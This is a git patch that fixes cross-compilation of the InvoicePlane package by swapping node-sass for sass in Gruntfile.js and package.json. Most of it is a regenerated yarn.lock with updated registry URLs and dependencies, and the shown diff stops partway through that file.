From 36c06fdc9e9b541c132fa4379fc88165672994d9 Mon Sep 17 00:00:00 2001
From: Jonas Heinrich <onny@project-insanity.org>
Date: Sat, 12 Jul 2025 15:07:34 +0200
Subject: [PATCH 2750/4511] invoiceplane: Fix cross-compilation

(cherry picked from commit 6ff344a7d28adaa5b0b16e9ddc15f654b93aff29)
---
 .../in/invoiceplane/node_switch_to_sass.patch | 3022 +++++++++++++++++
 pkgs/by-name/in/invoiceplane/package.nix      |   30 +-
 2 files changed, 3030 insertions(+), 22 deletions(-)
 create mode 100644 pkgs/by-name/in/invoiceplane/node_switch_to_sass.patch

diff --git a/pkgs/by-name/in/invoiceplane/node_switch_to_sass.patch b/pkgs/by-name/in/invoiceplane/node_switch_to_sass.patch
new file mode 100644
index 000000000000..55b2f2dd90ac
--- /dev/null
+++ b/pkgs/by-name/in/invoiceplane/node_switch_to_sass.patch
@@ -0,0 +1,3022 @@
+diff --git a/Gruntfile.js b/Gruntfile.js
+index a201bafe..f11bf5bf 100644
+--- a/Gruntfile.js
++++ b/Gruntfile.js
+@@ -1,6 +1,6 @@
+ "use strict";
+ module.exports = function(grunt) {
+-  const sass = require("node-sass");
++  const sass = require("sass");
+ 
+   // Load grunt tasks automatically
+   require("load-grunt-tasks")(grunt);
+diff --git a/package.json b/package.json
+index 878e4233..1a16507b 100644
+--- a/package.json
++++ b/package.json
+@@ -31,8 +31,8 @@
+         "jquery-ui": "1.14.1",
+         "js-cookie": "2.2",
+         "load-grunt-tasks": "5.1",
+-        "node-sass": "9.0",
+         "postcss": "8.4",
++        "sass": "^1.89.2",
+         "select2": "4.1.0-rc.0",
+         "zxcvbn": "4.4"
+     },
+diff --git a/yarn.lock b/yarn.lock
+index ee7067d7..d2585e0d 100644
+--- a/yarn.lock
++++ b/yarn.lock
+@@ -2,196 +2,164 @@
+ # yarn lockfile v1
+ 
+ 
+-"@babel/code-frame@^7.0.0":
+-  version "7.26.2"
+-  resolved "https://registry.yarnpkg.com/@babel/code-frame/-/code-frame-7.26.2.tgz#4b5fab97d33338eff916235055f0ebc21e573a85"
+-  integrity sha512-RJlIHRueQgwWitWgF8OdFYGZX328Ax5BCemNGlqHfplnRT9ESi8JkFlvaVYbS+UubVY6dpv87Fs2u5M29iNFVQ==
+-  dependencies:
+-    "@babel/helper-validator-identifier" "^7.25.9"
+-    js-tokens "^4.0.0"
+-    picocolors "^1.0.0"
+-
+-"@babel/helper-validator-identifier@^7.25.9":
+-  version "7.25.9"
+-  resolved "https://registry.yarnpkg.com/@babel/helper-validator-identifier/-/helper-validator-identifier-7.25.9.tgz#24b64e2c3ec7cd3b3c547729b8d16871f22cbdc7"
+-  integrity sha512-Ed61U6XJc3CVRfkERJWDz4dJwKe7iLmmJsbOGu9wSloNSFttHV0I8g6UAgb7qnK5ly5bGLPd4oXZlxCdANBOWQ==
+-
+-"@gar/promisify@^1.0.1", "@gar/promisify@^1.1.3":
+-  version "1.1.3"
+-  resolved "https://registry.yarnpkg.com/@gar/promisify/-/promisify-1.1.3.tgz#555193ab2e3bb3b6adc3d551c9c030d9e860daf6"
+-  integrity sha512-k2Ty1JcVojjJFwrg/ThKi2ujJ7XNLYaFGNB/bWT9wGR+oSMJHMa5w+CUq6p/pVrKeNNgA7pCqEcjSnHVoqJQFw==
+-
+-"@npmcli/fs@^1.0.0":
+-  version "1.1.1"
+-  resolved "https://registry.yarnpkg.com/@npmcli/fs/-/fs-1.1.1.tgz#72f719fe935e687c56a4faecf3c03d06ba593257"
+-  integrity sha512-8KG5RD0GVP4ydEzRn/I4BNDuxDtqVbOdm8675T49OIG/NGhaK0pjPX7ZcDlvKYbA+ulvVK3ztfcF4uBdOxuJbQ==
+-  dependencies:
+-    "@gar/promisify" "^1.0.1"
+-    semver "^7.3.5"
+-
+-"@npmcli/fs@^2.1.0":
+-  version "2.1.2"
+-  resolved "https://registry.yarnpkg.com/@npmcli/fs/-/fs-2.1.2.tgz#a9e2541a4a2fec2e69c29b35e6060973da79b865"
+-  integrity sha512-yOJKRvohFOaLqipNtwYB9WugyZKhC/DZC4VYPmpaCzDBrA8YpK3qHZ8/HGscMnE4GqbkLNuVcCnxkeQEdGt6LQ==
+-  dependencies:
+-    "@gar/promisify" "^1.1.3"
+-    semver "^7.3.5"
+-
+-"@npmcli/move-file@^1.0.1":
+-  version "1.1.2"
+-  resolved "https://registry.yarnpkg.com/@npmcli/move-file/-/move-file-1.1.2.tgz#1a82c3e372f7cae9253eb66d72543d6b8685c674"
+-  integrity sha512-1SUf/Cg2GzGDyaf15aR9St9TWlb+XvbZXWpDx8YKs7MLzMH/BCeopv+y9vzrzgkfykCGuWOlSu3mZhj2+FQcrg==
+-  dependencies:
+-    mkdirp "^1.0.4"
+-    rimraf "^3.0.2"
+-
+-"@npmcli/move-file@^2.0.0":
+-  version "2.0.1"
+-  resolved "https://registry.yarnpkg.com/@npmcli/move-file/-/move-file-2.0.1.tgz#26f6bdc379d87f75e55739bab89db525b06100e4"
+-  integrity sha512-mJd2Z5TjYWq/ttPLLGqArdtnC74J6bOzg4rMDnN+p1xTacZ2yPRCk2y0oSWQtygLR9YVQXgOcONrwtnk3JupxQ==
+-  dependencies:
+-    mkdirp "^1.0.4"
+-    rimraf "^3.0.2"
+-
+-"@tootallnate/once@1":
+-  version "1.1.2"
+-  resolved "https://registry.yarnpkg.com/@tootallnate/once/-/once-1.1.2.tgz#ccb91445360179a04e7fe6aff78c00ffc1eeaf82"
+-  integrity sha512-RbzJvlNzmRq5c3O09UipeuXno4tA1FE6ikOjxZK0tuxVv3412l64l5t1W5pj4+rJq9vpkm/kwiR07aZXnsKPxw==
+-
+-"@tootallnate/once@2":
+-  version "2.0.0"
+-  resolved "https://registry.yarnpkg.com/@tootallnate/once/-/once-2.0.0.tgz#f544a148d3ab35801c1f633a7441fd87c2e484bf"
+-  integrity sha512-XCuKFP5PS55gnMVu3dty8KPatLqUoy/ZYzDzAGCQ8JNFCkLXzmI7vNHCR+XpbZaMWQK/vQubr7PkYq8g470J/A==
++"@parcel/watcher-android-arm64@2.5.1":
++  version "2.5.1"
++  resolved "https://registry.yarnpkg.com/@parcel/watcher-android-arm64/-/watcher-android-arm64-2.5.1.tgz#507f836d7e2042f798c7d07ad19c3546f9848ac1"
++  integrity sha512-KF8+j9nNbUN8vzOFDpRMsaKBHZ/mcjEjMToVMJOhTozkDonQFFrRcfdLWn6yWKCmJKmdVxSgHiYvTCef4/qcBA==
++
++"@parcel/watcher-darwin-arm64@2.5.1":
++  version "2.5.1"
++  resolved "https://registry.yarnpkg.com/@parcel/watcher-darwin-arm64/-/watcher-darwin-arm64-2.5.1.tgz#3d26dce38de6590ef79c47ec2c55793c06ad4f67"
++  integrity sha512-eAzPv5osDmZyBhou8PoF4i6RQXAfeKL9tjb3QzYuccXFMQU0ruIc/POh30ePnaOyD1UXdlKguHBmsTs53tVoPw==
++
++"@parcel/watcher-darwin-x64@2.5.1":
++  version "2.5.1"
++  resolved "https://registry.yarnpkg.com/@parcel/watcher-darwin-x64/-/watcher-darwin-x64-2.5.1.tgz#99f3af3869069ccf774e4ddfccf7e64fd2311ef8"
++  integrity sha512-1ZXDthrnNmwv10A0/3AJNZ9JGlzrF82i3gNQcWOzd7nJ8aj+ILyW1MTxVk35Db0u91oD5Nlk9MBiujMlwmeXZg==
++
++"@parcel/watcher-freebsd-x64@2.5.1":
++  version "2.5.1"
++  resolved "https://registry.yarnpkg.com/@parcel/watcher-freebsd-x64/-/watcher-freebsd-x64-2.5.1.tgz#14d6857741a9f51dfe51d5b08b7c8afdbc73ad9b"
++  integrity sha512-SI4eljM7Flp9yPuKi8W0ird8TI/JK6CSxju3NojVI6BjHsTyK7zxA9urjVjEKJ5MBYC+bLmMcbAWlZ+rFkLpJQ==
++
++"@parcel/watcher-linux-arm-glibc@2.5.1":
++  version "2.5.1"
++  resolved "https://registry.yarnpkg.com/@parcel/watcher-linux-arm-glibc/-/watcher-linux-arm-glibc-2.5.1.tgz#43c3246d6892381db473bb4f663229ad20b609a1"
++  integrity sha512-RCdZlEyTs8geyBkkcnPWvtXLY44BCeZKmGYRtSgtwwnHR4dxfHRG3gR99XdMEdQ7KeiDdasJwwvNSF5jKtDwdA==
++
++"@parcel/watcher-linux-arm-musl@2.5.1":
++  version "2.5.1"
++  resolved "https://registry.yarnpkg.com/@parcel/watcher-linux-arm-musl/-/watcher-linux-arm-musl-2.5.1.tgz#663750f7090bb6278d2210de643eb8a3f780d08e"
++  integrity sha512-6E+m/Mm1t1yhB8X412stiKFG3XykmgdIOqhjWj+VL8oHkKABfu/gjFj8DvLrYVHSBNC+/u5PeNrujiSQ1zwd1Q==
++
++"@parcel/watcher-linux-arm64-glibc@2.5.1":
++  version "2.5.1"
++  resolved "https://registry.yarnpkg.com/@parcel/watcher-linux-arm64-glibc/-/watcher-linux-arm64-glibc-2.5.1.tgz#ba60e1f56977f7e47cd7e31ad65d15fdcbd07e30"
++  integrity sha512-LrGp+f02yU3BN9A+DGuY3v3bmnFUggAITBGriZHUREfNEzZh/GO06FF5u2kx8x+GBEUYfyTGamol4j3m9ANe8w==
++
++"@parcel/watcher-linux-arm64-musl@2.5.1":
++  version "2.5.1"
++  resolved "https://registry.yarnpkg.com/@parcel/watcher-linux-arm64-musl/-/watcher-linux-arm64-musl-2.5.1.tgz#f7fbcdff2f04c526f96eac01f97419a6a99855d2"
++  integrity sha512-cFOjABi92pMYRXS7AcQv9/M1YuKRw8SZniCDw0ssQb/noPkRzA+HBDkwmyOJYp5wXcsTrhxO0zq1U11cK9jsFg==
++
++"@parcel/watcher-linux-x64-glibc@2.5.1":
++  version "2.5.1"
++  resolved "https://registry.npmjs.org/@parcel/watcher-linux-x64-glibc/-/watcher-linux-x64-glibc-2.5.1.tgz"
++  integrity sha512-GcESn8NZySmfwlTsIur+49yDqSny2IhPeZfXunQi48DMugKeZ7uy1FX83pO0X22sHntJ4Ub+9k34XQCX+oHt2A==
++
++"@parcel/watcher-linux-x64-musl@2.5.1":
++  version "2.5.1"
++  resolved "https://registry.yarnpkg.com/@parcel/watcher-linux-x64-musl/-/watcher-linux-x64-musl-2.5.1.tgz#277b346b05db54f55657301dd77bdf99d63606ee"
++  integrity sha512-n0E2EQbatQ3bXhcH2D1XIAANAcTZkQICBPVaxMeaCVBtOpBZpWJuf7LwyWPSBDITb7In8mqQgJ7gH8CILCURXg==
++
++"@parcel/watcher-win32-arm64@2.5.1":
++  version "2.5.1"
++  resolved "https://registry.yarnpkg.com/@parcel/watcher-win32-arm64/-/watcher-win32-arm64-2.5.1.tgz#7e9e02a26784d47503de1d10e8eab6cceb524243"
++  integrity sha512-RFzklRvmc3PkjKjry3hLF9wD7ppR4AKcWNzH7kXR7GUe0Igb3Nz8fyPwtZCSquGrhU5HhUNDr/mKBqj7tqA2Vw==
++
++"@parcel/watcher-win32-ia32@2.5.1":
++  version "2.5.1"
++  resolved "https://registry.yarnpkg.com/@parcel/watcher-win32-ia32/-/watcher-win32-ia32-2.5.1.tgz#2d0f94fa59a873cdc584bf7f6b1dc628ddf976e6"
++  integrity sha512-c2KkcVN+NJmuA7CGlaGD1qJh1cLfDnQsHjE89E60vUEMlqduHGCdCLJCID5geFVM0dOtA3ZiIO8BoEQmzQVfpQ==
++
++"@parcel/watcher-win32-x64@2.5.1":
++  version "2.5.1"
++  resolved "https://registry.yarnpkg.com/@parcel/watcher-win32-x64/-/watcher-win32-x64-2.5.1.tgz#ae52693259664ba6f2228fa61d7ee44b64ea0947"
++  integrity sha512-9lHBdJITeNR++EvSQVUcaZoWupyHfXe1jZvGZ06O/5MflPcuPLtEphScIBL+AiCWBO46tDSHzWyD0uDmmZqsgA==
++
++"@parcel/watcher@^2.4.1":
++  version "2.5.1"
++  resolved "https://registry.npmjs.org/@parcel/watcher/-/watcher-2.5.1.tgz"
++  integrity sha512-dfUnCxiN9H4ap84DvD2ubjw+3vUNpstxa0TneY/Paat8a3R4uQZDLSvWjmznAY/DoahqTHl9V46HF/Zs3F29pg==
++  dependencies:
++    detect-libc "^1.0.3"
++    is-glob "^4.0.3"
++    micromatch "^4.0.5"
++    node-addon-api "^7.0.0"
++  optionalDependencies:
++    "@parcel/watcher-android-arm64" "2.5.1"
++    "@parcel/watcher-darwin-arm64" "2.5.1"
++    "@parcel/watcher-darwin-x64" "2.5.1"
++    "@parcel/watcher-freebsd-x64" "2.5.1"
++    "@parcel/watcher-linux-arm-glibc" "2.5.1"
++    "@parcel/watcher-linux-arm-musl" "2.5.1"
++    "@parcel/watcher-linux-arm64-glibc" "2.5.1"
++    "@parcel/watcher-linux-arm64-musl" "2.5.1"
++    "@parcel/watcher-linux-x64-glibc" "2.5.1"
++    "@parcel/watcher-linux-x64-musl" "2.5.1"
++    "@parcel/watcher-win32-arm64" "2.5.1"
++    "@parcel/watcher-win32-ia32" "2.5.1"
++    "@parcel/watcher-win32-x64" "2.5.1"
+ 
+ "@types/minimatch@^3.0.3":
+   version "3.0.5"
+-  resolved "https://registry.yarnpkg.com/@types/minimatch/-/minimatch-3.0.5.tgz#1001cc5e6a3704b83c236027e77f2f58ea010f40"
++  resolved "https://registry.npmjs.org/@types/minimatch/-/minimatch-3.0.5.tgz"
+   integrity sha512-Klz949h02Gz2uZCMGwDUSDS1YBlTdDDgbWHi+81l29tQALUtvz4rAYi5uoVhE5Lagoq6DeqAUlbrHvW/mXDgdQ==
+ 
+-"@types/minimist@^1.2.0":
+-  version "1.2.5"
+-  resolved "https://registry.yarnpkg.com/@types/minimist/-/minimist-1.2.5.tgz#ec10755e871497bcd83efe927e43ec46e8c0747e"
+-  integrity sha512-hov8bUuiLiyFPGyFPE1lwWhmzYbirOXQNNo40+y3zow8aFVTeyn3VWL0VFFfdNddA8S4Vf0Tc062rzyNr7Paag==
+-
+-"@types/normalize-package-data@^2.4.0":
+-  version "2.4.4"
+-  resolved "https://registry.yarnpkg.com/@types/normalize-package-data/-/normalize-package-data-2.4.4.tgz#56e2cc26c397c038fab0e3a917a12d5c5909e901"
+-  integrity sha512-37i+OaWTh9qeK4LSHPsyRC7NahnGotNuZvjLSgcPzblpHB3rrCJxAOgI5gCdKm7coonsaX1Of0ILiTcnZjbfxA==
+-
+ abbrev@1:
+   version "1.1.1"
+-  resolved "https://registry.yarnpkg.com/abbrev/-/abbrev-1.1.1.tgz#f8f2c887ad10bf67f634f005b6987fed3179aac8"
++  resolved "https://registry.npmjs.org/abbrev/-/abbrev-1.1.1.tgz"
+   integrity sha512-nne9/IiQ/hzIhY6pdDnbBtz7DjPTKrY00P/zvPSm5pOFkl6xuGrGnXn/VtTNNfNtAfZ9/1RtehkszU9qcTii0Q==
+ 
+-agent-base@6, agent-base@^6.0.2:
+-  version "6.0.2"
+-  resolved "https://registry.yarnpkg.com/agent-base/-/agent-base-6.0.2.tgz#49fff58577cfee3f37176feab4c22e00f86d7f77"
+-  integrity sha512-RZNwNclF7+MS/8bDg70amg32dyeZGZxiDuQmZxKLAlQjr3jGyLx+4Kkk58UO7D2QdgFIQCovuSuZESne6RG6XQ==
+-  dependencies:
+-    debug "4"
+-
+-agentkeepalive@^4.1.3, agentkeepalive@^4.2.1:
+-  version "4.5.0"
+-  resolved "https://registry.yarnpkg.com/agentkeepalive/-/agentkeepalive-4.5.0.tgz#2673ad1389b3c418c5a20c5d7364f93ca04be923"
+-  integrity sha512-5GG/5IbQQpC9FpkRGsSvZI5QYeSCzlJHdpBQntCsuTOxhKD8lqKhrleg2Yi7yvMIf82Ycmmqln9U8V9qwEiJew==
+-  dependencies:
+-    humanize-ms "^1.2.1"
+-
+-aggregate-error@^3.0.0:
+-  version "3.1.0"
+-  resolved "https://registry.yarnpkg.com/aggregate-error/-/aggregate-error-3.1.0.tgz#92670ff50f5359bdb7a3e0d40d0ec30c5737687a"
+-  integrity sha512-4I7Td01quW/RpocfNayFdFVk1qSuoh0E7JrbRJ16nH01HhKFQ88INq9Sd+nd72zqRySlr9BmDA8xlEJ6vJMrYA==
+-  dependencies:
+-    clean-stack "^2.0.0"
+-    indent-string "^4.0.0"
+-
+ ansi-regex@^2.0.0:
+   version "2.1.1"
+-  resolved "https://registry.yarnpkg.com/ansi-regex/-/ansi-regex-2.1.1.tgz#c3b33ab5ee360d86e0e628f0468ae7ef27d654df"
++  resolved "https://registry.npmjs.org/ansi-regex/-/ansi-regex-2.1.1.tgz"
+   integrity sha512-TIGnTpdo+E3+pCyAluZvtED5p5wCqLdezCyhPZzKPcxvFplEt4i+W7OONCKgeZFT3+y5NZZfOOS/Bdcanm1MYA==
+ 
+-ansi-regex@^5.0.1:
+-  version "5.0.1"
+-  resolved "https://registry.yarnpkg.com/ansi-regex/-/ansi-regex-5.0.1.tgz#082cb2c89c9fe8659a311a53bd6a4dc5301db304"
+-  integrity sha512-quJQXlTSUGL2LH9SUXo8VwsY4soanhgo6LNSm84E1LBcE8s3O0wpdiRzyR9z/ZZJMlMWv37qOOb9pdJlMUEKFQ==
+-
+ ansi-styles@^2.2.1:
+   version "2.2.1"
+-  resolved "https://registry.yarnpkg.com/ansi-styles/-/ansi-styles-2.2.1.tgz#b432dd3358b634cf75e1e4664368240533c1ddbe"
++  resolved "https://registry.npmjs.org/ansi-styles/-/ansi-styles-2.2.1.tgz"
+   integrity sha512-kmCevFghRiWM7HB5zTPULl4r9bVFSWjz62MhqizDGUrq2NWuNMQyuv4tHHoKJHs69M/MF64lEcHdYIocrdWQYA==
+ 
+ ansi-styles@^3.2.1:
+   version "3.2.1"
+-  resolved "https://registry.yarnpkg.com/ansi-styles/-/ansi-styles-3.2.1.tgz#41fbb20243e50b12be0f04b8dedbf07520ce841d"
++  resolved "https://registry.npmjs.org/ansi-styles/-/ansi-styles-3.2.1.tgz"
+   integrity sha512-VT0ZI6kZRdTh8YyJw3SMbYm/u+NqfsAxEpWO0Pf9sq8/e94WxxOpPKx9FR1FlyCtOVDNOQ+8ntlqFxiRc+r5qA==
+   dependencies:
+     color-convert "^1.9.0"
+ 
+-ansi-styles@^4.0.0, ansi-styles@^4.1.0:
++ansi-styles@^4.1.0:
+   version "4.3.0"
+-  resolved "https://registry.yarnpkg.com/ansi-styles/-/ansi-styles-4.3.0.tgz#edd803628ae71c04c85ae7a0906edad34b648937"
++  resolved "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz"
+   integrity sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==
+   dependencies:
+     color-convert "^2.0.1"
+ 
+-"aproba@^1.0.3 || ^2.0.0":
+-  version "2.0.0"
+-  resolved "https://registry.yarnpkg.com/aproba/-/aproba-2.0.0.tgz#52520b8ae5b569215b354efc0caa3fe1e45a8adc"
+-  integrity sha512-lYe4Gx7QT+MKGbDsA+Z+he/Wtef0BiwDOlK/XkBrdfsh9J/jPPXbX0tE9x9cl27Tmu5gg3QUbUrQYa/y+KOHPQ==
+-
+-are-we-there-yet@^3.0.0:
+-  version "3.0.1"
+-  resolved "https://registry.yarnpkg.com/are-we-there-yet/-/are-we-there-yet-3.0.1.tgz#679df222b278c64f2cdba1175cdc00b0d96164bd"
+-  integrity sha512-QZW4EDmGwlYur0Yyf/b2uGucHQMa8aFUP7eu9ddR73vvhFyt4V0Vl3QHPcTNJ8l6qYOBdxgXdnBXQrHilfRQBg==
+-  dependencies:
+-    delegates "^1.0.0"
+-    readable-stream "^3.6.0"
+-
+ argparse@^1.0.7:
+   version "1.0.10"
+-  resolved "https://registry.yarnpkg.com/argparse/-/argparse-1.0.10.tgz#bcd6791ea5ae09725e17e5ad988134cd40b3d911"
++  resolved "https://registry.npmjs.org/argparse/-/argparse-1.0.10.tgz"
+   integrity sha512-o5Roy6tNG4SL/FOkCAN6RzjiakZS25RLYFrcMttJqbdd8BWrnA+fGz57iN5Pb06pvBGvl5gQ0B48dJlslXvoTg==
+   dependencies:
+     sprintf-js "~1.0.2"
+ 
+ array-differ@^3.0.0:
+   version "3.0.0"
+-  resolved "https://registry.yarnpkg.com/array-differ/-/array-differ-3.0.0.tgz#3cbb3d0f316810eafcc47624734237d6aee4ae6b"
++  resolved "https://registry.npmjs.org/array-differ/-/array-differ-3.0.0.tgz"
+   integrity sha512-THtfYS6KtME/yIAhKjZ2ul7XI96lQGHRputJQHO80LAWQnuGP4iCIN8vdMRboGbIEYBwU33q8Tch1os2+X0kMg==
+ 
+ array-each@^1.0.1:
+   version "1.0.1"
+-  resolved "https://registry.yarnpkg.com/array-each/-/array-each-1.0.1.tgz#a794af0c05ab1752846ee753a1f211a05ba0c44f"
++  resolved "https://registry.npmjs.org/array-each/-/array-each-1.0.1.tgz"
+   integrity sha512-zHjL5SZa68hkKHBFBK6DJCTtr9sfTCPCaph/L7tMSLcTFgy+zX7E+6q5UArbtOtMBCtxdICpfTCspRse+ywyXA==
+ 
+ array-slice@^1.0.0:
+   version "1.1.0"
+-  resolved "https://registry.yarnpkg.com/array-slice/-/array-slice-1.1.0.tgz#e368ea15f89bc7069f7ffb89aec3a6c7d4ac22d4"
++  resolved "https://registry.npmjs.org/array-slice/-/array-slice-1.1.0.tgz"
+   integrity sha512-B1qMD3RBP7O8o0H2KbrXDyB0IccejMF15+87Lvlor12ONPRHP6gTjXMNkt/d3ZuOGbAe66hFmaCfECI24Ufp6w==
+ 
+ array-union@^2.1.0:
+   version "2.1.0"
+-  resolved "https://registry.yarnpkg.com/array-union/-/array-union-2.1.0.tgz#b798420adbeb1de828d84acd8a2e23d3efe85e8d"
++  resolved "https://registry.npmjs.org/array-union/-/array-union-2.1.0.tgz"
+   integrity sha512-HGyxoOTYUyCM6stUe6EJgnd4EoewAI7zMdfqO+kGjnlZmBDz/cR5pf8r/cR4Wq60sL/p0IkcjUEEPwS3GFrIyw==
+ 
+-arrify@^1.0.1:
+-  version "1.0.1"
+-  resolved "https://registry.yarnpkg.com/arrify/-/arrify-1.0.1.tgz#898508da2226f380df904728456849c1501a4b0d"
+-  integrity sha512-3CYzex9M9FGQjCGMGyi6/31c8GJbgb0qGyrx5HWxPd0aCwh4cB2YjMb2Xf9UuoogrMrlO9cTqnB5rI5GHZTcUA==
+-
+ arrify@^2.0.1:
+   version "2.0.1"
+-  resolved "https://registry.yarnpkg.com/arrify/-/arrify-2.0.1.tgz#c9655e9331e0abcd588d2a7cad7e9956f66701fa"
++  resolved "https://registry.npmjs.org/arrify/-/arrify-2.0.1.tgz"
+   integrity sha512-3duEwti880xqi4eAMN8AyR4a0ByT90zoYdLlevfrvU43vb0YZwZVfxOgxWrLXXXpyugL0hNZc9G6BiB5B3nUug==
+ 
+-async-foreach@^0.1.3:
+-  version "0.1.3"
+-  resolved "https://registry.yarnpkg.com/async-foreach/-/async-foreach-0.1.3.tgz#36121f845c0578172de419a97dbeb1d16ec34542"
+-  integrity sha512-VUeSMD8nEGBWaZK4lizI1sf3yEC7pnAQ/mrI7pC2fBz2s/tq5jWWEngTwaf0Gruu/OoXRGLGg1XFqpYBiGTYJA==
+-
+ async@^2.6.0:
+   version "2.6.4"
+-  resolved "https://registry.yarnpkg.com/async/-/async-2.6.4.tgz#706b7ff6084664cd7eae713f6f965433b5504221"
++  resolved "https://registry.npmjs.org/async/-/async-2.6.4.tgz"
+   integrity sha512-mzo5dfJYwAn29PeiJ0zvwTo04zj8HDJj0Mn8TD7sno7q12prdbnasKJHhkm2c1LgrhlJ0teaea8860oxi51mGA==
+   dependencies:
+     lodash "^4.17.14"
+@@ -203,7 +171,7 @@ async@^3.2.3, async@~3.2.0:
+ 
+ autoprefixer@9.8.8:
+   version "9.8.8"
+-  resolved "https://registry.yarnpkg.com/autoprefixer/-/autoprefixer-9.8.8.tgz#fd4bd4595385fa6f06599de749a4d5f7a474957a"
++  resolved "https://registry.npmjs.org/autoprefixer/-/autoprefixer-9.8.8.tgz"
+   integrity sha512-eM9d/swFopRt5gdJ7jrpCwgvEMIayITpojhkkSMRsFHYuH5bkSQ4p/9qTEHtmNudUZh22Tehu7I6CxAW0IXTKA==
+   dependencies:
+     browserslist "^4.12.0"
+@@ -216,12 +184,12 @@ autoprefixer@9.8.8:
+ 
+ balanced-match@^1.0.0:
+   version "1.0.2"
+-  resolved "https://registry.yarnpkg.com/balanced-match/-/balanced-match-1.0.2.tgz#e83e3a7e3f300b34cb9d87f615fa0cbf357690ee"
++  resolved "https://registry.npmjs.org/balanced-match/-/balanced-match-1.0.2.tgz"
+   integrity sha512-3oSeUO0TMV67hN1AmbXsK4yaqU7tjiHlbxRDZOpH0KW9+CeX4bRAaX0Anxt0tx2MrpRpWwQaPwIlISEJhYU5Pw==
+ 
+ body@^5.1.0:
+   version "5.1.0"
+-  resolved "https://registry.yarnpkg.com/body/-/body-5.1.0.tgz#e4ba0ce410a46936323367609ecb4e6553125069"
++  resolved "https://registry.npmjs.org/body/-/body-5.1.0.tgz"
+   integrity sha512-chUsBxGRtuElD6fmw1gHLpvnKdVLK302peeFa9ZqAEk8TyzZ3fygLyUEDDPTJvL9+Bor0dIwn6ePOsRM2y0zQQ==
+   dependencies:
+     continuable-cache "^0.3.1"
+@@ -231,31 +199,24 @@ body@^5.1.0:
+ 
+ bootstrap-datepicker@1.10:
+   version "1.10.0"
+-  resolved "https://registry.yarnpkg.com/bootstrap-datepicker/-/bootstrap-datepicker-1.10.0.tgz#61612bbe8bf0a69a5bce32bbcdda93ebb6ccf24a"
++  resolved "https://registry.npmjs.org/bootstrap-datepicker/-/bootstrap-datepicker-1.10.0.tgz"
+   integrity sha512-lWxtSYddAQOpbAO8UhYhHLcK6425eWoSjb5JDvZU3ePHEPF6A3eUr51WKaFy4PccU19JRxUG6wEU3KdhtKfvpg==
+   dependencies:
+     jquery ">=3.4.0 <4.0.0"
+ 
+ bootstrap-sass@3.4.1:
+   version "3.4.1"
+-  resolved "https://registry.yarnpkg.com/bootstrap-sass/-/bootstrap-sass-3.4.1.tgz#6843c73b1c258a0ac5cb2cc6f6f5285b664a8e9a"
++  resolved "https://registry.npmjs.org/bootstrap-sass/-/bootstrap-sass-3.4.1.tgz"
+   integrity sha512-p5rxsK/IyEDQm2CwiHxxUi0MZZtvVFbhWmyMOt4lLkA4bujDA1TGoKT0i1FKIWiugAdP+kK8T5KMDFIKQCLYIA==
+ 
+ brace-expansion@^1.1.7:
+   version "1.1.11"
+-  resolved "https://registry.yarnpkg.com/brace-expansion/-/brace-expansion-1.1.11.tgz#3c7fcbf529d87226f3d2f52b966ff5271eb441dd"
++  resolved "https://registry.npmjs.org/brace-expansion/-/brace-expansion-1.1.11.tgz"
+   integrity sha512-iCuPHDFgrHX7H2vEI/5xpz07zSHB00TpugqhmYtVmMO6518mCuRMoOYFldEBl0g187ufozdaHgWKcYFb61qGiA==
+   dependencies:
+     balanced-match "^1.0.0"
+     concat-map "0.0.1"
+ 
+-brace-expansion@^2.0.1:
+-  version "2.0.1"
+-  resolved "https://registry.yarnpkg.com/brace-expansion/-/brace-expansion-2.0.1.tgz#1edc459e0f0c548486ecf9fc99f2221364b9a0ae"
+-  integrity sha512-XnAIvQ8eM+kC6aULx6wuQiwVsnzsi9d3WxzV3FpWTGA19F621kwdbsAcFKXgKUHZWsy+mY6iL1sHTxWEFCytDA==
+-  dependencies:
+-    balanced-match "^1.0.0"
+-
+ braces@^3.0.3:
+   version "3.0.3"
+   resolved "https://registry.yarnpkg.com/braces/-/braces-3.0.3.tgz#490332f40919452272d55a8480adc0c441358789"
+@@ -264,101 +225,44 @@ braces@^3.0.3:
+     fill-range "^7.1.1"
+ 
+ browserslist@^4.12.0:
+-  version "4.24.2"
+-  resolved "https://registry.yarnpkg.com/browserslist/-/browserslist-4.24.2.tgz#f5845bc91069dbd55ee89faf9822e1d885d16580"
+-  integrity sha512-ZIc+Q62revdMcqC6aChtW4jz3My3klmCO1fEmINZY/8J3EpBg5/A/D0AKmBveUh6pgoeycoMkVMko84tuYS+Gg==
++  version "4.25.1"
++  resolved "https://registry.yarnpkg.com/browserslist/-/browserslist-4.25.1.tgz#ba9e8e6f298a1d86f829c9b975e07948967bb111"
++  integrity sha512-KGj0KoOMXLpSNkkEI6Z6mShmQy0bc1I+T7K9N81k4WWMrfz+6fQ6es80B/YLAeRoKvjYE1YSHHOW1qe9xIVzHw==
+   dependencies:
+-    caniuse-lite "^1.0.30001669"
+-    electron-to-chromium "^1.5.41"
+-    node-releases "^2.0.18"
+-    update-browserslist-db "^1.1.1"
++    caniuse-lite "^1.0.30001726"
++    electron-to-chromium "^1.5.173"
++    node-releases "^2.0.19"
++    update-browserslist-db "^1.1.3"
+ 
+ bytes@1:
+   version "1.0.0"
+-  resolved "https://registry.yarnpkg.com/bytes/-/bytes-1.0.0.tgz#3569ede8ba34315fab99c3e92cb04c7220de1fa8"
++  resolved "https://registry.npmjs.org/bytes/-/bytes-1.0.0.tgz"
+   integrity sha512-/x68VkHLeTl3/Ll8IvxdwzhrT+IyKc52e/oyHhA2RwqPqswSnjVbSddfPRwAsJtbilMAPSRWwAlpxdYsSWOTKQ==
+ 
+-cacache@^15.2.0:
+-  version "15.3.0"
+-  resolved "https://registry.yarnpkg.com/cacache/-/cacache-15.3.0.tgz#dc85380fb2f556fe3dda4c719bfa0ec875a7f1eb"
+-  integrity sha512-VVdYzXEn+cnbXpFgWs5hTT7OScegHVmLhJIR8Ufqk3iFD6A6j5iSX1KuBTfNEv4tdJWE2PzA6IVFtcLC7fN9wQ==
+-  dependencies:
+-    "@npmcli/fs" "^1.0.0"
+-    "@npmcli/move-file" "^1.0.1"
+-    chownr "^2.0.0"
+-    fs-minipass "^2.0.0"
+-    glob "^7.1.4"
+-    infer-owner "^1.0.4"
+-    lru-cache "^6.0.0"
+-    minipass "^3.1.1"
